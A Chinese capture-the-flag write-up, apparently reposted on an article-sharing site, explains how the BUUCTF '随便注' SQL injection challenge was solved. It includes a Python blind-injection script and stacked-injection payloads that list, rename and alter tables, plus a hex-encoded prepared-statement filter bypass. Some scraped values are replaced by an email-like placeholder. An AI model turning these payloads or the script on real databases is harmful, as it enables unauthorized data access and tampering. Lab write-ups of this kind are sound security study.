欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUUCTF之[强网杯 2019]随便注write up

程序员文章站 2022-05-14 08:46:27
...

题目:

BUUCTF之[强网杯 2019]随便注write up

用引号试一下:

BUUCTF之[强网杯 2019]随便注write up

爆字段数量:

1' order by 2;#

BUUCTF之[强网杯 2019]随便注write up

字段数量为2.

接下来使用select会爆一个结果:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

提示使用正则检索提交的姿势里有没有上述关键字。

大小写绕过失败,双写绕过失败,

既然如此那就不用select来爆用户名和表名,使用substr来爆。

上python3脚本:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import requests

#主函数
def main():
    url = "http://8tyckyvkyuu3yuvubbbui7awwwwww.node3.buuoj.cn/"
    HX = "hahahah"
    get_databasename_HX(url, HX)

# 根据回显获取数据库名
# database_len_payload:获取数据库名长度的payload,自行配置
# database_name_payload:获取数据库名的payload,自行配置
# HX:命中结果时的回显
def get_databasename_HX(url,HX):
    db_name = ""
    database_len = 0    # 数据库名的长度
    for i in range(1, 32):
        result = requests.get(url + "?inject=9' ||(length(database())="+str(i)+");#);")
        result.encoding = 'utf-8'
        if result.text.find(HX) != -1:
            database_len = i
            break
    if database_len == 0:
        print("读取数据库长度失败,程序终止")
        return "-1"
    else:
        print("数据库长度为:"+str(database_len))
        for i in range(1, database_len+1):
            for j in range(1, 128):
                result = requests.get(url + "?inject=19' ||(substr(database(),"+str(i)+",1)=char("+str(j)+"));#")
                if result.text.find(HX) != -1:
                    print("发现第"+str(i)+"位:"+chr(j))
                    db_name += chr(j)
                    break
        print("数据库名为:%s" % db_name)
        return  db_name
if __name__ == '__main__':
    main()

结果如下,获取数据库名supersqli:

BUUCTF之[强网杯 2019]随便注write up

同样的原理将database()修改为user()可以获取到当前数据库的用户名aaa@qq.com:

BUUCTF之[强网杯 2019]随便注write up

接下来查数据库里的表:

这里发现select和where被过滤了,凉凉

看了其他大佬的wp是堆叠注入。。。。。看来我还是不够骚

既然是堆叠注入,那就直接show tables了:

BUUCTF之[强网杯 2019]随便注write up

然后看字段名:

19';show columns from `1919810931114514`;#

这里数字作为表名,需要加反引号,否则会执行失败。

BUUCTF之[强网杯 2019]随便注write up

19';show columns from words;#

BUUCTF之[强网杯 2019]随便注write up

表名看到了,接下来就是骚操作了,把words改成其他名字,表1919810931114514改成words并插入一列新的列凑够2列:

19';rename table words to word1111;#

19';rename table `1919810931114514` to words;#

alter table words change flag id varchar(100);#

上面三句话分两次执行的话会导致报错:

error 1146 : Table 'supersqli.words' doesn't exist

因此需要连在一块写:19';rename table words to word111;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

然后可以看到表名已经被改了:

BUUCTF之[强网杯 2019]随便注write up

用1=1就能拿到flag。

另外看到有另一种解法是预处理语句绕过,觉得很有意思:

1';aaa@qq.com=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

这边补一下MySQL预处理的知识:

 

--------end-------------

相关标签: CTF web安全